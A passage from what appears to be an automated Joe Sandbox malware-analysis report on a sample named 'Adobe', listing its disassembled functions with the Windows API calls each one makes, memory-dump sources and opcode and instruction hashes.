                                                                                        • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                                                                                        Function 004300E8 Relevance: 2.6, APIs: 2, Instructions: 103COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004301AD
                                                                                        • memcpy.MSVCRT(000001A8,?,00000020,?,00000000,00000000,00443DCE,00000000,00000000,00000000,?,00445FAE,?), ref: 004301CD
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpymemset
                                                                                        • String ID:
                                                                                        • API String ID: 1297977491-0
                                                                                        • Opcode ID: b6c8b344e63531bca6e6aefc5e8eb99709ec7ba8fcdd06e77ba93d6293000e49
                                                                                        • Instruction ID: 4c6ebae2fd17f46eb6a701b53e5b2159fa076c350f721ddb3a961165d25aeca7
                                                                                        • Opcode Fuzzy Hash: b6c8b344e63531bca6e6aefc5e8eb99709ec7ba8fcdd06e77ba93d6293000e49
                                                                                        • Instruction Fuzzy Hash: F331BE72A00214EBDF10DF59C881A9EB7B4EF48714F24959AE804AF242C775EE41CB98
                                                                                        Function 0040B1AB Relevance: 2.5, APIs: 2, Instructions: 14COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free
                                                                                        • String ID:
                                                                                        • API String ID: 1294909896-0
                                                                                        • Opcode ID: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                        • Instruction ID: 7f33cc2486ffea160e999b9abaf125df84647c5341351ad01334bd221cd3bada
                                                                                        • Opcode Fuzzy Hash: cbd9f9e03ce833727f217058398efad0a096bf54ba10072877aeedcd786ebb4c
                                                                                        • Instruction Fuzzy Hash: 32D042B0404B008ED7B0DF39D401602BBF0AB093143118D2E90AAC2A50E775A0149F08
                                                                                        Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                                                                                          • Part of subcall function 0040A02C: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                          • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                          • Part of subcall function 0040A02C: CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                        • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$Time$CloseCompareCreateHandlememset
                                                                                        • String ID:
                                                                                        • API String ID: 2154303073-0
                                                                                        • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                        • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                                                                                        • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                        • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                                                                                        Function 004135F7 Relevance: 1.5, APIs: 1, Instructions: 44libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004135E0: FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                          • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                          • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                          • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                          • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                          • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                        • String ID:
                                                                                        • API String ID: 3150196962-0
                                                                                        • Opcode ID: 102e9bd218bff8034664a90f9159d5d227e7736aeb8d0cece17e8d9bf5f2cb6a
                                                                                        • Instruction ID: 35a9ad0fe6b4507ee66bae46934dcfd2e139bf0842d10804986ce3ee8b034d80
                                                                                        • Opcode Fuzzy Hash: 102e9bd218bff8034664a90f9159d5d227e7736aeb8d0cece17e8d9bf5f2cb6a
                                                                                        • Instruction Fuzzy Hash: BBF0A4311447126AE6306B7AAC02BE762849F00725F10862EB425D55D1EFA8D5C046AC
                                                                                        Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                          • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$PointerRead
                                                                                        • String ID:
                                                                                        • API String ID: 3154509469-0
                                                                                        • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                        • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                                                                                        • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                        • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                                                                                        Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                                                                                          • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                                                                                          • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                                                                                          • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                        • String ID:
                                                                                        • API String ID: 4232544981-0
                                                                                        • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                        • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                                                                                        • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                        • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                                                                                        Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FreeLibrary.KERNELBASE(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FreeLibrary
                                                                                        • String ID:
                                                                                        • API String ID: 3664257935-0
                                                                                        • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                        • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                                                                                        • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                        • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                                                                                        Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                          • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                          • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                          • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                          • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                        • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$FileModuleName
                                                                                        • String ID:
                                                                                        • API String ID: 3859505661-0
                                                                                        • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                        • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                                                                                        • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                        • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                                                                                        Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FileRead
                                                                                        • String ID:
                                                                                        • API String ID: 2738559852-0
                                                                                        • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                        • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                                                                                        • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                        • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                                                                                        Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • WriteFile.KERNELBASE(?,00000009,?,00000000,00000000,?,?,00402F9B,?,00000000,00000000,00000000,0000017E), ref: 0040A325
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FileWrite
                                                                                        • String ID:
                                                                                        • API String ID: 3934441357-0
                                                                                        • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                        • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                                                                                        • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                        • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                                                                                        Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FreeLibrary.KERNELBASE(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FreeLibrary
                                                                                        • String ID:
                                                                                        • API String ID: 3664257935-0
                                                                                        • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                        • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                                                                                        • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                        • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                                                                                        Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateFile
                                                                                        • String ID:
                                                                                        • API String ID: 823142352-0
                                                                                        • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                        • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                                                                                        • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                        • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                                                                                        Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CreateFile
                                                                                        • String ID:
                                                                                        • API String ID: 823142352-0
                                                                                        • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                        • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                                                                                        • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                        • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                                                                                        Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??3@
                                                                                        • String ID:
                                                                                        • API String ID: 613200358-0
                                                                                        • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                        • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                                                                                        • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                        • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                                                                                        Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FreeLibrary
                                                                                        • String ID:
                                                                                        • API String ID: 3664257935-0
                                                                                        • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                        • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                                                                                        • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                        • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                                                                                        Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • EnumResourceNamesW.KERNELBASE(?,?,Function_000148B6,00000000), ref: 0041494B
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: EnumNamesResource
                                                                                        • String ID:
                                                                                        • API String ID: 3334572018-0
                                                                                        • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                        • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                                                                                        • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                        • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                                                                                        Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FreeLibrary.KERNELBASE(?), ref: 0044DEB6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FreeLibrary
                                                                                        • String ID:
                                                                                        • API String ID: 3664257935-0
                                                                                        • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                        • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                                                                                        • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                                                                                        • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                                                                                        Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • FindClose.KERNELBASE(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: CloseFind
                                                                                        • String ID:
                                                                                        • API String ID: 1863332320-0
                                                                                        • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                        • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                                                                                        • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                                                                                        • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                                                                                        Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Open
                                                                                        • String ID:
                                                                                        • API String ID: 71445658-0
                                                                                        • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                        • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                                                                                        • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                                                                                        • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                                                                                        Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AttributesFile
                                                                                        • String ID:
                                                                                        • API String ID: 3188754299-0
                                                                                        • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                        • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                                                                                        • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                                                                                        • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                                                                                        Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                        • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                                                                                        • Opcode Fuzzy Hash: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                        • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                                                                                        Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004095FC
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                          • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                                                                                          • Part of subcall function 004091B8: memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                          • Part of subcall function 004091B8: memcmp.MSVCRT(00000000,0045A4F0,00000006,?,?,?,?,?,?,?,?,?,?,?,?,00000143), ref: 004092D9
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                                                                                        • String ID:
                                                                                        • API String ID: 3655998216-0
                                                                                        • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                        • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                                                                                        • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                        • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                                                                                        Function 00415B2C Relevance: 1.3, APIs: 1, Instructions: 62COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: c75aee8a2a8dfae17061e24b09256e9f24568c4c4acdadc464b978748c80593b
                                                                                        • Instruction ID: 56811e6a31311fae19106e74f332fd481794b0d175407c03959d21f12539f693
                                                                                        • Opcode Fuzzy Hash: c75aee8a2a8dfae17061e24b09256e9f24568c4c4acdadc464b978748c80593b
                                                                                        • Instruction Fuzzy Hash: 4201E572109E01E6DB1029278C81AF766899FC0399F14016FF94886281EEA8EEC542AE
                                                                                        Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00445426
